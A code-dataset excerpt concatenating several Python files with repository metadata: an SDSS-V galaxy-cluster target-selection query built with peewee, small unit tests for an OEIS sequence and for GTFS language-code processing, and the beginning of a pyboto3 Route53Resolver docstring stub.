ss16.scienceprimary > 0, ) .alias('s16') ) # SDSS-IV/eFEDS March2020 c2s2020 = CatalogToBHM_eFEDS_Veto.alias() ss2020 = BHM_eFEDS_Veto.alias() s2020 = ( ss2020.select( ss2020.pk.alias('pk'), ) .where( ss2020.sn_median_all >= spec_sn_thresh, ss2020.zwarning == 0, ss2020.z_err <= spec_z_err_thresh, ss2020.z_err > 0.0, ) .alias('s2020') ) # SDSS-V spAll ssV = SDSSV_BOSS_SPALL.alias() sV = ( ssV.select( ssV.specobjid.alias('specobjid'), ssV.plug_ra.alias('plug_ra'), ssV.plug_dec.alias('plug_dec'), ) .where( ssV.sn_median_all >= spec_sn_thresh, ssV.zwarning == 0, ssV.z_err <= spec_z_err_thresh, ssV.z_err > 0.0, ssV.specprimary > 0, ) .alias('sV') ) # SDSS-V plateholes - only consider plateholes that # were drilled+shipped but that were not yet observed ssph = SDSSV_Plateholes.alias() ssphm = SDSSV_Plateholes_Meta.alias() ssconf = SDSSV_BOSS_Conflist.alias() sph = ( ssph.select( ssph.pkey.alias('pkey'), ssph.target_ra.alias('target_ra'), ssph.target_dec.alias('target_dec'), ) .join( ssphm, on=(ssph.yanny_uid == ssphm.yanny_uid) ) .join( ssconf, JOIN.LEFT_OUTER, on=(ssphm.plateid == ssconf.plate) ) .where( (ssph.holetype == 'BOSS_SHARED'), (ssph.sourcetype == 'SCI') | (ssph.sourcetype == 'STA'), ssphm.isvalid > 0, ssconf.plate.is_null(), ) .alias('sph') ) # priority is determined by target rank within cluster # start with a priority floor value (per carton) # then increment if any conditions are met: priority = peewee.Case( None, ( ( x.c.x_rank == 1, self.parameters['priority_floor_bcg'] ), ( x.c.x_rank > 1, self.parameters['priority_floor_member'] + fn.least(self.parameters['priority_levels'] - 2, x.c.x_rank - 2) ), ), None) value = peewee.Case( None, ( (x.c.x_rank == 1, self.parameters['value_bcg']), (x.c.x_rank > 1, self.parameters['value_member']), ), None) # choose cadence based on psf_flux magnitude in panstarrs1 g,r,i-bands cadence1 = self.parameters['cadence1'] cadence2 = self.parameters['cadence2'] cadence3 = self.parameters['cadence3'] cadence4 = 'unknown_cadence' cadence = peewee.Case( None, ( ((ps.r_stk_psf_flux > r_psf_flux_min_for_cadence1) | (ps.i_stk_psf_flux > i_psf_flux_min_for_cadence1) | (ps.z_stk_psf_flux > z_psf_flux_min_for_cadence1), cadence1), ((ps.r_stk_psf_flux > r_psf_flux_min_for_cadence2) | (ps.i_stk_psf_flux > i_psf_flux_min_for_cadence2) | (ps.z_stk_psf_flux > z_psf_flux_min_for_cadence2), cadence2), ((ps.r_stk_psf_flux <= r_psf_flux_min_for_cadence2) & (ps.i_stk_psf_flux <= i_psf_flux_min_for_cadence2) & (ps.z_stk_psf_flux <= z_psf_flux_min_for_cadence2), cadence3), ), cadence4) # compute transformed SDSS mags for all sources uniformly # transform the panstarrs1-dr2 griz into sdss psfmag griz # extract coeffs from fit logs via: # awk 'BEGIN {print("coeffs = {")} /POLYFIT/{ if($3~/sdss_psfmag/){pe="p"} else if ($3~/sdss_fiber2mag/){pe="e"} else{pe="error"}; printf("\"%s%d_%s\": %s,\n", substr($3,length($3)), $8, pe, $10)} END {print("}")}' bhm_spiders_clusters_ps1dr2/ps1dr2_stk_psf_to_sdss_fiber2mag_?_results.log # noqa coeffs = { "g2_e": -0.353294, "g1_e": 0.699658, "g0_e": 0.581569, "i2_e": -0.446208, "i1_e": 0.776628, "i0_e": 0.421538, "r2_e": -0.123243, "r1_e": 0.401786, "r0_e": 0.422531, "z2_e": -0.488437, "z1_e": 0.595132, "z0_e": 0.439771, } Jy_min = AB2Jy(30.00) # start from ps1dr2 stk psf fluxes g0 = (8.9 - 2.5 * peewee.fn.log(peewee.fn.greatest(Jy_min, ps.g_stk_psf_flux))) r0 = (8.9 - 2.5 * peewee.fn.log(peewee.fn.greatest(Jy_min, ps.r_stk_psf_flux))) i0 = (8.9 - 2.5 * peewee.fn.log(peewee.fn.greatest(Jy_min, ps.i_stk_psf_flux))) z0 = (8.9 - 2.5 * peewee.fn.log(peewee.fn.greatest(Jy_min, ps.z_stk_psf_flux))) g_r = g0 - r0 r_i = r0 - i0 i_z = i0 - z0 # use single set of transform coeffs g_e = (g0 + coeffs['g0_e'] + coeffs['g1_e'] * g_r + coeffs['g2_e'] * g_r * g_r) r_e = (r0 + coeffs['r0_e'] + coeffs['r1_e'] * g_r + coeffs['r2_e'] * g_r * g_r) i_e = (i0 + coeffs['i0_e'] + coeffs['i1_e'] * r_i + coeffs['i2_e'] * r_i * r_i) z_e = (z0 + coeffs['z0_e'] + coeffs['z1_e'] * i_z + coeffs['z2_e'] * i_z * i_z) # validity checks valid = (g0.between(0.1, 29.9) & r0.between(0.1, 29.9) & i0.between(0.1, 29.9) & z0.between(0.1, 29.9)) opt_prov = peewee.Case(None, ((valid, 'sdss_fiber2mag_from_ps1dr2'),), 'undefined') magnitude_g = peewee.Case(None, ((valid, g_e),), 'NaN') magnitude_r = peewee.Case(None, ((valid, r_e),), 'NaN') magnitude_i = peewee.Case(None, ((valid, i_e),), 'NaN') magnitude_z = peewee.Case(None, ((valid, z_e),), 'NaN') # # We want to switch between psfmags and fibertotmags depending on # # ps.flags EXT+EXT_ALT (i.e. extended sources) # # For non-extended targets, we use psfmags, but for extended sources use apermag # flux30 = AB2Jy(30.00) # ps1_ext_flags = 8388608 + 16777216 # ps1_good_stack_flag = 134217728 # opt_prov = peewee.Case( # ps.flags.bin_and(ps1_ext_flags), # ((0, 'ps_psfmag'),), # 'ps_apermag') # # magnitude_g = peewee.Case( # ps.flags.bin_and(ps1_ext_flags), # ((0, (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.g_stk_psf_flux))).cast('float')),), # (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.g_stk_aper_flux))).cast('float')) # # magnitude_r = peewee.Case( # ps.flags.bin_and(ps1_ext_flags), # ((0, (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.r_stk_psf_flux))).cast('float')),), # (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.r_stk_aper_flux))).cast('float')) # # magnitude_i = peewee.Case( # ps.flags.bin_and(ps1_ext_flags), # ((0, (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.i_stk_psf_flux))).cast('float')),), # (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.i_stk_aper_flux))).cast('float')) # # magnitude_z = peewee.Case( # ps.flags.bin_and(ps1_ext_flags), # ((0, (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.z_stk_psf_flux))).cast('float')),), # (8.9 - 2.5 * fn.log10(fn.greatest(flux30, ps.z_stk_aper_flux))).cast('float')) # these control matching to spectroscopy match_radius_spectro = self.parameters['spec_join_radius'] / 3600.0 spec_sn_thresh = self.parameters['spec_sn_thresh'] spec_z_err_thresh = self.parameters['spec_z_err_thresh'] # this controls use of bad panstarrs photometry ps1_good_stack_flag = 134217728 query = ( c.select( c.catalogid.alias('catalogid'), ps.catid_objid.alias('ps1_catid_objid'), # extra x.c.ero_detuid.cast('text').alias('ero_detuid'), # extra c.ra.alias('ra'), # extra c.dec.alias('dec'), # extra priority.alias('priority'), value.cast('float').alias('value'), cadence.alias('cadence'), instrument.alias('instrument'), opt_prov.alias('optical_prov'), magnitude_g.alias('g'), magnitude_r.alias('r'), magnitude_i.alias('i'), magnitude_z.alias('z'), (ps.flags.bin_and(ps1_good_stack_flag) > 0) .cast('bool').alias('ps1_good_stack_flag'), # extra inertial.alias('inertial'), ) .join(c2ps) .join(ps) .join(x, on=(ps.catid_objid == x.c.ps1_dr2_id)) # start joining the spectroscopy .switch(c) .join(c2s16, JOIN.LEFT_OUTER) .join( s16, JOIN.LEFT_OUTER, on=( (c2s16.target_id == s16.c.specobjid) & (c2s16.version_id == version_id) ) ) .switch(c) .join(c2s2020, JOIN.LEFT_OUTER) .join( s2020, JOIN.LEFT_OUTER, on=( (c2s2020.target_id == s2020.c.pk) & (c2s2020.version_id == version_id) ) ) .join( sV, JOIN.LEFT_OUTER, on=( fn.q3c_join(sV.c.plug_ra, sV.c.plug_dec, c.ra, c.dec, match_radius_spectro) ) ) .join( sph, JOIN.LEFT_OUTER, on=( fn.q3c_join(sph.c.target_ra, sph.c.target_dec, c.ra, c.dec, match_radius_spectro) ) ) # finished joining the spectroscopy .where( c.version_id == version_id, c2ps.version_id == version_id, c2ps.best >> True ) .where( s16.c.specobjid.is_null(True), # all of these must be satisfied s2020.c.pk.is_null(True), sV.c.specobjid.is_null(True), sph.c.pkey.is_null(True), ) .where( (x.c.target_has_spec == 0), (ps.r_stk_psf_flux < r_psf_flux_max), (ps.i_stk_psf_flux < i_psf_flux_max), (ps.z_stk_psf_flux < z_psf_flux_max), (ps.r_stk_psf_flux != 'NaN'), # TODO check this is correct test via peewee (ps.i_stk_psf_flux != 'NaN'), (ps.z_stk_psf_flux != 'NaN'), # TODO - check panstarrs photometry quality ?? # (ps.flags.bin_and(ps1_good_stack_flag) > 0), # TODO gaia safety checks to avoid bad ls photometry??? ) .order_by(x.c.ps1_dr2_id, x.c.x_rank.asc()) .distinct([x.c.ps1_dr2_id, ]) # avoid duplicate entries ) if query_region: query = query.where(peewee.fn.q3c_radial_query(c.ra, c.dec, query_region[0], query_region[1], query_region[2])) return query # # END BhmSpidersClustersPs1dr2Carton # ##################################################################################

39.761194

306

0.505693

5,471

47,952

4.158289

0.085176

0.056

0.016615

0.009495

0.896044

0.874198

0.847253

0.838418

0.813275

0.803692

0

0.05096

0.352603

47,952

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0.681871

0.205414

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0.744681

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0.076758

0.017205

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0

null

0

1

0

1

0

null

0

7

824ed28817701d4f456ca175ae87db76aadc007d

114

py

Python

tests/test_A000041.py

danielsimonney/oeis

16c1dd6e058e49b629f695acb82ec55dd5f052f9

[ "MIT" ]

null

tests/test_A000041.py

danielsimonney/oeis

16c1dd6e058e49b629f695acb82ec55dd5f052f9

[ "MIT" ]

null

tests/test_A000041.py

danielsimonney/oeis

16c1dd6e058e49b629f695acb82ec55dd5f052f9

[ "MIT" ]

null

from oeis import A000041 def test_partitions(): assert A000041(0, 10) == [1, 1, 2, 3, 5, 7, 11, 15, 22, 30]

19

63

0.605263

21

114

3.238095

0.904762

0

0.329545

0.22807

114

5

64

22.8

0.443182

0

0.333333

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

1

0

8

8263a558c4bffa6bc492c9fc4c61ec578567fafd

4,960

py

Python

usecase/test/test_process_main_language_code_for_gtfs_metadata.py

MobilityData/mobility-database-interface

c6eb62b09e4784219c1d02e9f7cb88f77beaa2d8

[ "Apache-2.0" ]

4

2021-03-12T10:40:47.000Z

2022-01-11T10:56:53.000Z

usecase/test/test_process_main_language_code_for_gtfs_metadata.py

MobilityData/mobility-database-interface

c6eb62b09e4784219c1d02e9f7cb88f77beaa2d8

[ "Apache-2.0" ]

181

2021-03-09T15:27:51.000Z

2022-01-31T15:25:28.000Z

usecase/test/test_process_main_language_code_for_gtfs_metadata.py

MobilityData/mobility-database-interface

c6eb62b09e4784219c1d02e9f7cb88f77beaa2d8

[ "Apache-2.0" ]

null

import pandas as pd from unittest import TestCase, mock from unittest.mock import MagicMock, PropertyMock from gtfs_kit.feed import Feed from representation.gtfs_metadata import GtfsMetadata from representation.gtfs_representation import GtfsRepresentation from usecase.process_main_language_code_for_gtfs_metadata import ( process_main_language_code_for_gtfs_metadata, AGENCY_LANG, ) class TestProcessMainLanguageCodeForGtfsMetadata(TestCase): def test_process_main_language_code_with_none(self): self.assertRaises(TypeError, process_main_language_code_for_gtfs_metadata, None) def test_process_main_language_code_with_invalid_gtfs_repr(self): mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = str self.assertRaises( TypeError, process_main_language_code_for_gtfs_metadata, mock_gtfs_representation, ) def test_process_main_language_code_with_missing_files(self): mock_dataset = MagicMock() mock_dataset.__class__ = Feed mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_main_language_code_for_gtfs_metadata( mock_gtfs_representation ) self.assertIsInstance(under_test, GtfsRepresentation) mock_metadata.main_language_code.assert_not_called() def test_process_main_language_code_with_missing_fields(self): mock_agency = PropertyMock(return_value=pd.DataFrame({})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_main_language_code_for_gtfs_metadata( mock_gtfs_representation ) self.assertIsInstance(under_test, GtfsRepresentation) mock_metadata.main_language_code.assert_not_called() def test_process_main_language_code_with_empty_file(self): mock_agency = PropertyMock(return_value=pd.DataFrame({AGENCY_LANG: []})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_main_language_code_for_gtfs_metadata( mock_gtfs_representation ) self.assertIsInstance(under_test, GtfsRepresentation) mock_metadata.main_language_code.assert_not_called() def test_process_main_language_code_with_non_string_language_code(self): mock_agency = PropertyMock(return_value=pd.DataFrame({AGENCY_LANG: [0]})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_main_language_code_for_gtfs_metadata( mock_gtfs_representation ) self.assertIsInstance(under_test, GtfsRepresentation) mock_metadata.main_language_code.assert_not_called() def test_process_main_language_code(self): mock_agency = PropertyMock(return_value=pd.DataFrame({AGENCY_LANG: ["fr"]})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_main_language_code_for_gtfs_metadata( mock_gtfs_representation ) self.assertIsInstance(under_test, GtfsRepresentation) mock_agency.assert_called() self.assertEqual(mock_metadata.main_language_code, "fr")

40

88

0.740121

531

4,960

6.329567

0.107345

0.155311

0.183279

0.109491

0.87831

0.869979

0.815234

0.769414

0

0.000252

0.201411

4,960

123

89

40.325203

0.848271

0

0.66

0

0.000806

0

0.13

1

0.07

false

0

0.07

0

0.15

0

null

0

1

0

1

0

null

0

7

8265c2605b617170b38c2361baa3c2952da6015b

95,184

py

Python

pyboto3/route53resolver.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

91

2016-12-31T11:38:37.000Z

2021-09-16T19:33:23.000Z

pyboto3/route53resolver.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

7

2017-01-02T18:54:23.000Z

2020-08-11T13:54:02.000Z

pyboto3/route53resolver.py

gehad-shaat/pyboto3

4a0c2851a8bc04fb1c71c36086f7bb257e48181d

[ "MIT" ]

26

2016-12-31T13:11:00.000Z

2022-03-03T21:01:12.000Z

''' The MIT License (MIT) Copyright (c) 2016 WavyCloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def associate_resolver_endpoint_ip_address(ResolverEndpointId=None, IpAddress=None): """ Adds IP addresses to an inbound or an outbound resolver endpoint. If you want to adding more than one IP address, submit one AssociateResolverEndpointIpAddress request for each IP address. To remove an IP address from an endpoint, see DisassociateResolverEndpointIpAddress . See also: AWS API Documentation Exceptions :example: response = client.associate_resolver_endpoint_ip_address( ResolverEndpointId='string', IpAddress={ 'IpId': 'string', 'SubnetId': 'string', 'Ip': 'string' } ) :type ResolverEndpointId: string :param ResolverEndpointId: [REQUIRED]\nThe ID of the resolver endpoint that you want to associate IP addresses with.\n :type IpAddress: dict :param IpAddress: [REQUIRED]\nEither the IPv4 address that you want to add to a resolver endpoint or a subnet ID. If you specify a subnet ID, Resolver chooses an IP address for you from the available IPs in the specified subnet.\n\nIpId (string) --\nOnly when removing an IP address from a resolver endpoint : The ID of the IP address that you want to remove. To get this ID, use GetResolverEndpoint .\n\nSubnetId (string) --The ID of the subnet that includes the IP address that you want to update. To get this ID, use GetResolverEndpoint .\n\nIp (string) --The new IP address.\n\n\n :rtype: dict ReturnsResponse Syntax { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } Response Structure (dict) -- ResolverEndpoint (dict) -- The response to an AssociateResolverEndpointIpAddress request. Id (string) -- The ID of the resolver endpoint. CreatorRequestId (string) -- A unique string that identifies the request that created the resolver endpoint. The CreatorRequestId allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver endpoint. Name (string) -- The name that you assigned to the resolver endpoint when you submitted a CreateResolverEndpoint request. SecurityGroupIds (list) -- The ID of one or more security groups that control access to this VPC. The security group must include one or more inbound resolver rules. (string) -- Direction (string) -- Indicates whether the resolver endpoint allows inbound or outbound DNS queries: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC IpAddressCount (integer) -- The number of IP addresses that the resolver endpoint can use for DNS queries. HostVPCId (string) -- The ID of the VPC that you want to create the resolver endpoint in. Status (string) -- A code that specifies the current status of the resolver endpoint. StatusMessage (string) -- A detailed description of the status of the resolver endpoint. CreationTime (string) -- The date and time that the endpoint was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) -- The date and time that the endpoint was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.ResourceExistsException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.LimitExceededException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } :returns: (string) -- """ pass def associate_resolver_rule(ResolverRuleId=None, Name=None, VPCId=None): """ Associates a resolver rule with a VPC. When you associate a rule with a VPC, Resolver forwards all DNS queries for the domain name that is specified in the rule and that originate in the VPC. The queries are forwarded to the IP addresses for the DNS resolvers that are specified in the rule. For more information about rules, see CreateResolverRule . See also: AWS API Documentation Exceptions :example: response = client.associate_resolver_rule( ResolverRuleId='string', Name='string', VPCId='string' ) :type ResolverRuleId: string :param ResolverRuleId: [REQUIRED]\nThe ID of the resolver rule that you want to associate with the VPC. To list the existing resolver rules, use ListResolverRules .\n :type Name: string :param Name: A name for the association that you\'re creating between a resolver rule and a VPC. :type VPCId: string :param VPCId: [REQUIRED]\nThe ID of the VPC that you want to associate the resolver rule with.\n :rtype: dict ReturnsResponse Syntax { 'ResolverRuleAssociation': { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' } } Response Structure (dict) -- ResolverRuleAssociation (dict) -- Information about the AssociateResolverRule request, including the status of the request. Id (string) -- The ID of the association between a resolver rule and a VPC. Resolver assigns this value when you submit an AssociateResolverRule request. ResolverRuleId (string) -- The ID of the resolver rule that you associated with the VPC that is specified by VPCId . Name (string) -- The name of an association between a resolver rule and a VPC. VPCId (string) -- The ID of the VPC that you associated the resolver rule with. Status (string) -- A code that specifies the current status of the association between a resolver rule and a VPC. StatusMessage (string) -- A detailed description of the status of the association between a resolver rule and a VPC. Exceptions Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.ResourceUnavailableException Route53Resolver.Client.exceptions.ResourceExistsException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverRuleAssociation': { 'Id': 'string', 'ResolverRuleId': 'string', 'Name': 'string', 'VPCId': 'string', 'Status': 'CREATING'|'COMPLETE'|'DELETING'|'FAILED'|'OVERRIDDEN', 'StatusMessage': 'string' } } :returns: Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.ResourceUnavailableException Route53Resolver.Client.exceptions.ResourceExistsException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException """ pass def can_paginate(operation_name=None): """ Check if an operation can be paginated. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). """ pass def create_resolver_endpoint(CreatorRequestId=None, Name=None, SecurityGroupIds=None, Direction=None, IpAddresses=None, Tags=None): """ Creates a resolver endpoint. There are two types of resolver endpoints, inbound and outbound: See also: AWS API Documentation Exceptions :example: response = client.create_resolver_endpoint( CreatorRequestId='string', Name='string', SecurityGroupIds=[ 'string', ], Direction='INBOUND'|'OUTBOUND', IpAddresses=[ { 'SubnetId': 'string', 'Ip': 'string' }, ], Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type CreatorRequestId: string :param CreatorRequestId: [REQUIRED]\nA unique string that identifies the request and that allows failed requests to be retried without the risk of executing the operation twice. CreatorRequestId can be any unique string, for example, a date/time stamp.\n :type Name: string :param Name: A friendly name that lets you easily find a configuration in the Resolver dashboard in the Route 53 console. :type SecurityGroupIds: list :param SecurityGroupIds: [REQUIRED]\nThe ID of one or more security groups that you want to use to control access to this VPC. The security group that you specify must include one or more inbound rules (for inbound resolver endpoints) or outbound rules (for outbound resolver endpoints).\n\n(string) --\n\n :type Direction: string :param Direction: [REQUIRED]\nSpecify the applicable value:\n\nINBOUND : Resolver forwards DNS queries to the DNS service for a VPC from your network or another VPC\nOUTBOUND : Resolver forwards DNS queries from the DNS service for a VPC to your network or another VPC\n\n :type IpAddresses: list :param IpAddresses: [REQUIRED]\nThe subnets and IP addresses in your VPC that you want DNS queries to pass through on the way from your VPCs to your network (for outbound endpoints) or on the way from your network to your VPCs (for inbound resolver endpoints).\n\n(dict) --In an CreateResolverEndpoint request, a subnet and IP address that you want to use for DNS queries.\n\nSubnetId (string) -- [REQUIRED]The subnet that contains the IP address.\n\nIp (string) --The IP address that you want to use for DNS queries.\n\n\n\n\n :type Tags: list :param Tags: A list of the tag keys and values that you want to associate with the endpoint.\n\n(dict) --One tag that you want to add to the specified resource. A tag consists of a Key (a name for the tag) and a Value .\n\nKey (string) --The name for the tag. For example, if you want to associate Resolver resources with the account IDs of your customers for billing purposes, the value of Key might be account-id .\n\nValue (string) --The value for the tag. For example, if Key is account-id , then Value might be the ID of the customer account that you\'re creating the resource for.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } Response Structure (dict) -- ResolverEndpoint (dict) -- Information about the CreateResolverEndpoint request, including the status of the request. Id (string) -- The ID of the resolver endpoint. CreatorRequestId (string) -- A unique string that identifies the request that created the resolver endpoint. The CreatorRequestId allows failed requests to be retried without the risk of executing the operation twice. Arn (string) -- The ARN (Amazon Resource Name) for the resolver endpoint. Name (string) -- The name that you assigned to the resolver endpoint when you submitted a CreateResolverEndpoint request. SecurityGroupIds (list) -- The ID of one or more security groups that control access to this VPC. The security group must include one or more inbound resolver rules. (string) -- Direction (string) -- Indicates whether the resolver endpoint allows inbound or outbound DNS queries: INBOUND : allows DNS queries to your VPC from your network or another VPC OUTBOUND : allows DNS queries from your VPC to your network or another VPC IpAddressCount (integer) -- The number of IP addresses that the resolver endpoint can use for DNS queries. HostVPCId (string) -- The ID of the VPC that you want to create the resolver endpoint in. Status (string) -- A code that specifies the current status of the resolver endpoint. StatusMessage (string) -- A detailed description of the status of the resolver endpoint. CreationTime (string) -- The date and time that the endpoint was created, in Unix time format and Coordinated Universal Time (UTC). ModificationTime (string) -- The date and time that the endpoint was last modified, in Unix time format and Coordinated Universal Time (UTC). Exceptions Route53Resolver.Client.exceptions.InvalidParameterException Route53Resolver.Client.exceptions.ResourceNotFoundException Route53Resolver.Client.exceptions.InvalidRequestException Route53Resolver.Client.exceptions.ResourceExistsException Route53Resolver.Client.exceptions.LimitExceededException Route53Resolver.Client.exceptions.InternalServiceErrorException Route53Resolver.Client.exceptions.ThrottlingException :return: { 'ResolverEndpoint': { 'Id': 'string', 'CreatorRequestId': 'string', 'Arn': 'string', 'Name': 'string', 'SecurityGroupIds': [ 'string', ], 'Direction': 'INBOUND'|'OUTBOUND', 'IpAddressCount': 123, 'HostVPCId': 'string', 'Status': 'CREATING'|'OPERATIONAL'|'UPDATING'|'AUTO_RECOVERING'|'ACTION_NEEDED'|'DELETING', 'StatusMessage': 'string', 'CreationTime': 'string', 'ModificationTime': 'string' } } :returns: CreatorRequestId (string) -- [REQUIRED] A unique string that identifies the request and that allows failed requests to be retried without the risk of executing the operation twice. CreatorRequestId can be any unique string, for example, a date/time stamp. Name (string) -- A friendly name that lets you easily find a configuration in the Resolver dashboard in the Route 53 console. SecurityGroupIds (list) -- [REQUIRED] The ID of one or more security groups that you want to use to control access to this VPC. The security group that you specify must include one or more inbound rules (for inbound resolver endpoints) or outbound rules (for outbound resolver endpoints). (string) -- Direction (string) -- [REQUIRED] Specify the applicable value: INBOUND : Resolver forwards DNS queries to the DNS service for a VPC from your network or another VPC OUTBOUND : Resolver forwards DNS queries from the DNS service for a VPC to your network or another VPC IpAddresses (list) -- [REQUIRED] The subnets and IP addresses in your VPC that you want DNS queries to pass through on the way from your VPCs to your network (for outbound endpoints) or on the way from your network to your VPCs (for inbound resolver endpoints). (dict) --In an CreateResolverEndpoint request, a subnet and IP address that you want to use for DNS queries. SubnetId (string) -- [REQUIRED]The subnet that contains the IP address. Ip (string) --The IP address that you want to use for DNS queries. Tags (list) -- A list of the tag keys and values that you want to associate with the endpoint. (dict) --One tag that you want to add to the specified resource. A tag consists of a Key (a name for the tag) and a Value . Key (string) --The name for the tag. For example, if you want to associate Resolver resources with the account IDs of your customers for billing purposes, the value of Key might be account-id . Value (string) --The value for the tag. For example, if Key is account-id , then Value might be the ID of the customer account that you\'re creating the resource for. """ pass def create_resolver_rule(CreatorRequestId=None, Name=None, RuleType=None, DomainName=None, TargetIps=None, ResolverEndpointId=None, Tags=None): """ For DNS queries that originate in your VPCs, specifies which resolver endpoint the queries pass through, one domain name that you want to forward to your network, and the IP addresses of the DNS resolvers in your network. See also: AWS API Documentation Exceptions :example: response = client.create_resolver_rule( CreatorRequestId='string', Name='string', RuleType='FORWARD'|'SYSTEM'|'RECURSIVE', DomainName='string', TargetIps=[ { 'Ip': 'string', 'Port': 123 }, ], ResolverEndpointId='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type CreatorRequestId: string :param CreatorRequestId: [REQUIRED]\nA unique string that identifies the request and that allows failed requests to be retried without the risk of executing the 